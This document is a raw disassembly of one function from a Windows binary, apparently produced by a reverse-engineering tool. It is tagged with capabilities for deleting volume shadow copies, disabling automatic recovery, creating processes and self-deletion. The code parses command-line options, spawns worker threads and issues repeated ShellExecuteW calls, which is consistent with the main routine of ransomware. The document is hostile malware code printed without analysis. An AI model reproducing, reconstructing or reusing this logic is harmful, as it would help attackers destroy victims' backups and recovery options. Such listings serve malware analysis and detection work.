Function at 0x43d5d0
Capabilities:
Create process on windows
Delete volume shadow copies
Disable automatic windows recovery features
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x27
push 0
push 0
dec ecx
jne 0x43d5d8
push ecx
push ebx
push esi
mov eax, 0x43a5dc
call fcn.0040e7f4
mov ebx, 0x44b2e8
mov esi, dword [0x4448c4]
xor eax, eax
push ebp
push 0x43e8f2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0042430c
call fcn.0043a08c
call fcn.0043a144
test al, al
je 0x43e7bf
cmp byte [esi + 0xa4], 0
je 0x43d640
mov eax, dword [0x4448d0]
cmp byte [eax + 0x2e0], 0
je 0x43d640
call fcn.00427898
test al, al
je 0x43e7bf
cmp byte [esi + 0xa4], 0
je 0x43d668
mov dl, 1
mov eax, 0x43e910
call fcn.00427c54
xor eax, eax
call fcn.00427e54
mov dl, 1
mov eax, 0x43e944
call fcn.00427c54
push 0x80
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_SetPriorityClass
call fcn.0043a024
mov eax, 0xa
call fcn.004049d0
imul eax, eax, 0x3e8
add eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep
call fcn.0041acdc
fstp qword [esi + 0x260]
wait
push 1
call sub.kernel32.dll_SetErrorMode
cmp byte [esi + 0xa4], 0
je 0x43d6c7
mov dl, 1
mov eax, 0x43e964
call fcn.00427c54
xor eax, eax
call fcn.00427e54
call fcn.00424324
cmp byte [esi + 0xa4], 0
je 0x43d732
push 0x43e990
lea edx, [ebp - 0x18]
movzx eax, byte [esi + 4]
call fcn.00418c1c
push dword [ebp - 0x18]
push 0x43e9b0
lea edx, [ebp - 0x1c]
movzx eax, byte [esi + 5]
call fcn.00418c1c
push dword [ebp - 0x1c]
push 0x43e9b0
mov eax, dword [esi + 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00418c38
push dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.00409168
mov eax, dword [ebp - 0x14]
mov dl, 1
call fcn.00427c54
xor eax, eax
call fcn.00427e54
cmp byte [esi + 0xa4], 0
je 0x43d74e
mov dl, 1
mov eax, 0x43e9c0
call fcn.00427c54
xor eax, eax
call fcn.00427e54
call fcn.00426e40
test al, al
jne 0x43d77c
cmp byte [esi + 0xa4], 0
je 0x43e7bf
mov dl, 1
mov eax, 0x43e9e8
call fcn.00427c54
xor eax, eax
call fcn.00427e54
jmp 0x43e7bf
cmp byte [esi + 0xa4], 0
je 0x43d791
mov dl, 1
mov eax, 0x43ea50
call fcn.00427c54
call fcn.004048f8
dec eax
jne 0x43d7cc
lea edx, [ebp - 0x24]
mov eax, 1
call fcn.0040495c
mov eax, dword [ebp - 0x24]
call fcn.00439658
test al, al
jne 0x43d7cc
lea edx, [ebp - 0x28]
mov eax, 1
call fcn.0040495c
mov edx, dword [ebp - 0x28]
mov eax, dword [0x44483c]
call fcn.00408fec
mov dword [ebx], 1
jmp 0x43df70
lea edx, [ebp - 0x2c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x2c]
mov edx, 0x43ea78
call fcn.00409218
jne 0x43d805
mov byte [esi + 0xca], 1
mov byte [esi + 0xa9], 0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0x30]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x30]
mov edx, 0x43ea98
call fcn.00409218
jne 0x43d864
inc dword [ebx]
jmp 0x43d856
lea edx, [ebp - 0x34]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x34]
call fcn.00439658
test al, al
jne 0x43df70
lea edx, [ebp - 0x38]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x38]
mov eax, dword [esi + 0x274]
call fcn.00422944
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d822
jmp 0x43df70
lea edx, [ebp - 0x3c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x3c]
mov edx, 0x43eab0
call fcn.00409218
jne 0x43d8c3
inc dword [ebx]
jmp 0x43d8b5
lea edx, [ebp - 0x40]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x40]
call fcn.00439658
test al, al
jne 0x43df70
lea edx, [ebp - 0x44]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x44]
mov eax, dword [esi + 0x270]
call fcn.00422944
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d881
jmp 0x43df70
lea edx, [ebp - 0x48]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x48]
mov edx, 0x43ead0
call fcn.00409218
jne 0x43d91f
inc dword [ebx]
jmp 0x43d911
lea edx, [ebp - 0x4c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x4c]
call fcn.00439658
test al, al
jne 0x43df70
lea edx, [ebp - 0x50]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x50]
mov eax, dword [esi + 0x24]
call fcn.00422944
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d8e0
jmp 0x43df70
lea edx, [ebp - 0x54]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x54]
mov edx, 0x43eae4
call fcn.00409218
jne 0x43d947
mov eax, dword [esi + 0x24]
call fcn.004226f0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0x58]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x58]
mov edx, 0x43eb10
call fcn.00409218
jne 0x43d96e
mov byte [esi + 0x9e], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0x5c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x5c]
mov edx, 0x43eb2c
call fcn.00409218
jne 0x43d995
mov byte [esi + 0xa9], 0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0x60]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x60]
mov edx, 0x43eb50
call fcn.00409218
jne 0x43da16
lea edx, [ebp - 0x68]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x68]
lea eax, [ebp - 0x64]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0x64]
call fcn.00421ddc
test al, al
je 0x43da0e
push 0x19
push 0
push 0
push 1
push 0x7fffffff
push 0xffffffffffffffff
lea edx, [ebp - 0x70]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x70]
lea eax, [ebp - 0x6c]
call fcn.00408fec
mov eax, dword [ebp - 0x6c]
call fcn.00439f40
mov dword [esi + 0xb0], eax
mov dword [esi + 0xb4], edx
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0x74]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x74]
mov edx, 0x43eb74
call fcn.00409218
jne 0x43da9d
lea edx, [ebp - 0x7c]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0x78]
call fcn.00421ddc
test al, al
je 0x43da95
push 0
push 0x6300000
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x84]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x84]
lea eax, [ebp - 0x80]
call fcn.00408fec
mov eax, dword [ebp - 0x80]
call fcn.00439f40
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], edx
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0x88]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x88]
mov edx, 0x43eb8c
call fcn.00409218
jne 0x43db39
lea edx, [ebp - 0x90]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x90]
lea eax, [ebp - 0x8c]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0x8c]
call fcn.00421ddc
test al, al
je 0x43db31
push 0
push 0x100000
push 0
push 1
push 0
push 0xffffff
lea edx, [ebp - 0x98]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x98]
lea eax, [ebp - 0x94]
call fcn.00408fec
mov eax, dword [ebp - 0x94]
call fcn.00439f40
mov dword [esi + 0xc0], eax
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0x9c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x9c]
mov edx, 0x43eba8
call fcn.00409218
jne 0x43dbbc
mov byte [esi + 0xa7], 1
mov eax, dword [esi + 0x26c]
call fcn.004226f0
inc dword [ebx]
jmp 0x43dbae
lea edx, [ebp - 0xa0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xa0]
call fcn.00439658
test al, al
jne 0x43df70
lea edx, [ebp - 0xa4]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0xa4]
mov eax, dword [esi + 0x26c]
call fcn.00422944
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43db6e
jmp 0x43df70
lea edx, [ebp - 0xa8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xa8]
mov edx, 0x43ebc0
call fcn.00409218
jne 0x43dbe9
mov byte [esi + 0xa8], 0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xac]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xac]
mov edx, 0x43ebec
call fcn.00409218
jne 0x43dc5f
lea edx, [ebp - 0xb4]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 0xb0]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0xb0]
call fcn.00421ddc
test al, al
je 0x43dc57
lea edx, [ebp - 0xb8]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov eax, dword [ebp - 0xb8]
call fcn.00418e74
mov dword [esi + 0x4c], eax
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0xbc]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xbc]
mov edx, 0x43ec08
call fcn.00409218
jne 0x43dc86
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0xc0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xc0]
mov edx, 0x43ec24
call fcn.00409218
jne 0x43dcac
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xc4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xc4]
mov edx, 0x43ec40
call fcn.00409218
jne 0x43dcd9
mov byte [esi + 0xa6], 0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xc8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xc8]
mov edx, 0x43ec68
call fcn.00409218
jne 0x43dd06
mov byte [esi + 0x9d], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xcc]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xcc]
mov edx, 0x43ec84
call fcn.00409218
jne 0x43dd33
mov byte [esi + 0x9f], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xd0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xd0]
mov edx, 0x43ec98
call fcn.00409218
jne 0x43dd67
mov byte [esi + 0xa1], 1
mov byte [esi + 0xa2], 0
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xd4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xd4]
mov edx, 0x43ecb0
call fcn.00409218
jne 0x43dd9b
mov byte [esi + 0xa1], 0
mov byte [esi + 0xa2], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xd8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xd8]
mov edx, 0x43ecc8
call fcn.00409218
jne 0x43ddc8
mov byte [esi + 0xa3], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xdc]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xdc]
mov edx, 0x43ece4
call fcn.00409218
jne 0x43ddf5
mov byte [esi + 0xc9], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0xe0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xe0]
mov edx, 0x43ed08
call fcn.00409218
jne 0x43de57
cmp byte [esi + 0xc9], 0
je 0x43de4f
lea edx, [ebp - 0xe8]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xe8]
lea eax, [ebp - 0xe4]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0xe4]
lea edx, [esi + 0x44]
call fcn.0042221c
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0xec]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xec]
mov edx, 0x43ed28
call fcn.00409218
jne 0x43deb9
cmp byte [esi + 0xc9], 0
je 0x43deb1
lea edx, [ebp - 0xf4]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0xf0]
lea edx, [esi + 0x18]
call fcn.0042221c
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0xf8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xf8]
mov edx, 0x43ed48
call fcn.00409218
je 0x43def7
lea edx, [ebp - 0xfc]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xfc]
mov edx, 0x43ed5c
call fcn.00409218
jne 0x43df1a
lea edx, [ebp - 0x100]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x100]
mov eax, dword [0x44483c]
call fcn.00408fec
add dword [ebx], 2
jmp 0x43df70
lea edx, [ebp - 0x104]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x104]
mov edx, 0x43ed74
call fcn.00409218
jne 0x43df44
mov byte [esi + 0x9b], 1
inc dword [ebx]
jmp 0x43df70
lea edx, [ebp - 0x108]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x108]
mov edx, 0x43ed90
call fcn.00409218
jne 0x43df6e
mov byte [esi + 0x9c], 1
inc dword [ebx]
jmp 0x43df70
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d7d7
cmp byte [esi + 0xca], 0
je 0x43dfa0
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43dfa0
call fcn.0043a4a8
jmp 0x43e7bf
cmp byte [esi + 0xa4], 0
je 0x43dfe5
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43dfe5
xor edx, edx
mov eax, 0x43eda8
call fcn.00427c54
xor edx, edx
mov eax, 0x43ee48
call fcn.00427c54
mov eax, dword [0x444938]
call fcn.00405b48
call fcn.004046e8
jmp 0x43e7bf
lea eax, [esi + 0x24]
call fcn.00433d0c
lea eax, [esi + 0x24]
call fcn.004334ac
lea eax, [esi + 0x24]
call fcn.00433740
mov ebx, dword [esi + 0x4c]
test ebx, ebx
je 0x43e054
cmp byte [esi + 0xa4], 0
je 0x43e047
push 0x43ee8c
lea edx, [ebp - 0x110]
mov eax, ebx
call fcn.00418c1c
push dword [ebp - 0x110]
push 0x43eea8
lea eax, [ebp - 0x10c]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x10c]
mov dl, 1
call fcn.00427c54
imul eax, dword [esi + 0x4c], 0x3e8
push eax
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa4], 0
je 0x43e070
mov dl, 1
mov eax, 0x43eee4
call fcn.00427c54
xor eax, eax
call fcn.00427e54
mov eax, dword [esi + 0x44]
test eax, eax
je 0x43e07c
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x43e088
lea eax, [esi + 0x44]
call fcn.0042362c
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43e0bf
lea edx, [ebp - 0x114]
lea eax, [esi + 0x44]
call fcn.004221d8
mov edx, dword [ebp - 0x114]
lea eax, [esi + 0x94]
call fcn.00422098
test al, al
jne 0x43e7bf
cmp byte [esi + 0xa4], 0
je 0x43e0d4
mov dl, 1
mov eax, 0x43ef14
call fcn.00427c54
call fcn.00437ca0
cmp byte [esi + 0xa4], 0
je 0x43e0fe
mov dl, 1
xor eax, eax
call fcn.00427c54
mov dl, 1
mov eax, 0x43ef4c
call fcn.00427c54
xor eax, eax
call fcn.00427e54
cmp byte [esi + 0xa3], 0
jne 0x43e10c
call fcn.0042d8b4
cmp byte [esi + 0xa4], 0
je 0x43e128
mov dl, 1
mov eax, 0x43efa8
call fcn.00427c54
xor eax, eax
call fcn.00427e54
cmp byte [esi + 0xa3], 0
jne 0x43e136
call fcn.0042959c
cmp byte [esi + 0xa3], 0
je 0x43e144
call fcn.00433cc8
mov eax, dword [esi + 0x28]
cmp dword [eax + 8], 0
je 0x43e175
jmp 0x43e159
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x439634
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e14f
call fcn.00439bc0
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
je 0x43e48a
mov byte [esi + 0xc6], 0
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.00421730
test al, al
je 0x43e205
cmp byte [esi + 0xa4], 0
je 0x43e1f4
mov dl, 1
xor eax, eax
call fcn.00427c54
mov ecx, dword [0x44483c]
mov ecx, dword [ecx]
lea eax, [ebp - 0x11c]
mov edx, 0x43efd4
call fcn.00408d28
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
call fcn.00408fd8
mov eax, dword [ebp - 0x118]
mov dl, 1
call fcn.00427c54
xor eax, eax
call fcn.00427e54
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.00438168
jmp 0x43e32a
cmp byte [esi + 0xa3], 0
jne 0x43e24b
cmp byte [esi + 0xa4], 0
jne 0x43e24b
jmp 0x43e223
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4387a0
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e219
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x43e252
mov byte [esi + 0xc6], 1
cmp byte [esi + 0xa4], 0
je 0x43e2a1
mov dl, 1
xor eax, eax
call fcn.00427c54
mov ecx, dword [0x44483c]
mov ecx, dword [ecx]
lea eax, [ebp - 0x124]
mov edx, 0x43f004
call fcn.00408d28
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 0x120]
call fcn.00408fd8
mov eax, dword [ebp - 0x120]
mov dl, 1
call fcn.00427c54
xor eax, eax
call fcn.00427e54
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.00438470
jmp 0x43e2b9
push 0x3e8
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xc6], 0
je 0x43e2af
cmp byte [esi + 0xa4], 0
je 0x43e2e7
mov dl, 1
xor eax, eax
call fcn.00427c54
mov dl, 1
mov eax, 0x43f040
call fcn.00427c54
xor eax, eax
call fcn.00427e54
call fcn.00427e2c
cmp byte [esi + 0xa4], 0
je 0x43e32a
mov eax, dword [0x4448d0]
cmp byte [eax + 0x2e0], 0
je 0x43e32a
xor edx, edx
mov eax, 0x43f078
call fcn.00427c54
xor edx, edx
mov eax, 0x43ee48
call fcn.00427c54
mov eax, dword [0x444938]
call fcn.00405b48
call fcn.004046e8
cmp byte [esi + 0xa8], 0
je 0x43e3f2
cmp byte [esi + 0xa4], 0
je 0x43e34c
xor edx, edx
mov eax, 0x43f0a4
call fcn.00427c54
push 0
push 0
push 0x43f0cc
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f134
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f1a0
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f1f8
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f230
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f290
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0x4e20
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa7], 0
je 0x43e400
call fcn.00438fc0
cmp byte [esi + 0x9d], 0
je 0x43e426
push 0
push 0x43f310
push 0x43f314
push 0x43f330
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
cmp byte [esi + 0x9e], 0
je 0x43e47d
push 0
push 0
push 0x43f350
lea edx, [ebp - 0x12c]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x12c]
push 0x43f39c
lea eax, [ebp - 0x128]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x128]
call fcn.00408f0c
push eax
push 0x43f3a4
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f0]
mov byte [eax], 0
jmp 0x43e7bf
cmp byte [esi + 0xa3], 0
je 0x43e4f7
cmp byte [esi + 0x9e], 0
je 0x43e4ea
push 0
push 0
push 0x43f350
lea edx, [ebp - 0x134]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x134]
push 0x43f39c
lea eax, [ebp - 0x130]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x130]
call fcn.00408f0c
push eax
push 0x43f3a4
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f0]
mov byte [eax], 0
jmp 0x43e7bf
cmp byte [esi + 0x9b], 0
je 0x43e513
mov byte [esi + 0xc6], 1
jmp 0x43e52f
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4368ac
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e509
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [esi + 0x9b], 0
je 0x43e555
mov byte [esi + 0xc4], 1
jmp 0x43e571
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4365fc
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e54b
cmp byte [esi + 0x9c], 0
je 0x43e58d
mov byte [esi + 0xc8], 1
jmp 0x43e5b5
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x43810c
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e583
jmp 0x43e5b5
push 0x2710
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xc8], 0
je 0x43e5ab
cmp byte [esi + 0x9c], 0
je 0x43e5da
mov byte [esi + 0xc7], 1
jmp 0x43e5f6
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x438010
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e5d0
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [esi + 0x9c], 0
je 0x43e61c
mov byte [esi + 0xc5], 1
jmp 0x43e644
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x437df0
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e612
jmp 0x43e644
push 0x3e8
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xc4], 0
je 0x43e63a
cmp byte [esi + 0xc5], 0
je 0x43e63a
cmp byte [esi + 0xc6], 0
je 0x43e63a
cmp byte [esi + 0xc7], 0
je 0x43e63a
call fcn.004285e8
cmp byte [esi + 0xa8], 0
je 0x43e720
push 0
push 0
push 0x43f230
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f290
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f1a0
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f134
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f1f8
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f0cc
push 0x43f120
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
push 0x4e20
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa7], 0
je 0x43e72e
call fcn.00438fc0
mov eax, dword [esi + 0x94]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [esi + 0x9d], 0
je 0x43e760
push 0
push 0x43f310
push 0x43f314
push 0x43f330
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
cmp byte [esi + 0x9e], 0
je 0x43e7b7
push 0
push 0
push 0x43f350
lea edx, [ebp - 0x13c]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x13c]
push 0x43f39c
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x138]
call fcn.00408f0c
push eax
push 0x43f3a4
push 0x43f128
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f0]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e8fc
lea eax, [ebp - 0x13c]
mov edx, 6
call fcn.00408228
lea eax, [ebp - 0x124]
call fcn.00408210
lea eax, [ebp - 0x120]
call fcn.004081c8
lea eax, [ebp - 0x11c]
call fcn.00408210
lea eax, [ebp - 0x118]
call fcn.004081c8
lea eax, [ebp - 0x114]
call fcn.004081ec
lea eax, [ebp - 0x110]
mov edx, 8
call fcn.00408228
lea eax, [ebp - 0xf0]
call fcn.004081ec
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.00408228
lea eax, [ebp - 0xe4]
call fcn.004081ec
lea eax, [ebp - 0xe0]
mov edx, 0xc
call fcn.00408228
lea eax, [ebp - 0xb0]
call fcn.004081ec
lea eax, [ebp - 0xac]
mov edx, 6
call fcn.00408228
lea eax, [ebp - 0x94]
call fcn.00408210
lea eax, [ebp - 0x90]
call fcn.004081c8
lea eax, [ebp - 0x8c]
call fcn.004081ec
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00408228
lea eax, [ebp - 0x80]
call fcn.00408210
lea eax, [ebp - 0x7c]
call fcn.004081c8
lea eax, [ebp - 0x78]
call fcn.004081ec
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00408228
lea eax, [ebp - 0x6c]
call fcn.00408210
lea eax, [ebp - 0x68]
call fcn.004081c8
lea eax, [ebp - 0x64]
call fcn.004081ec
lea eax, [ebp - 0x60]
mov edx, 0x14
call fcn.00408228
pop eax
jmp eax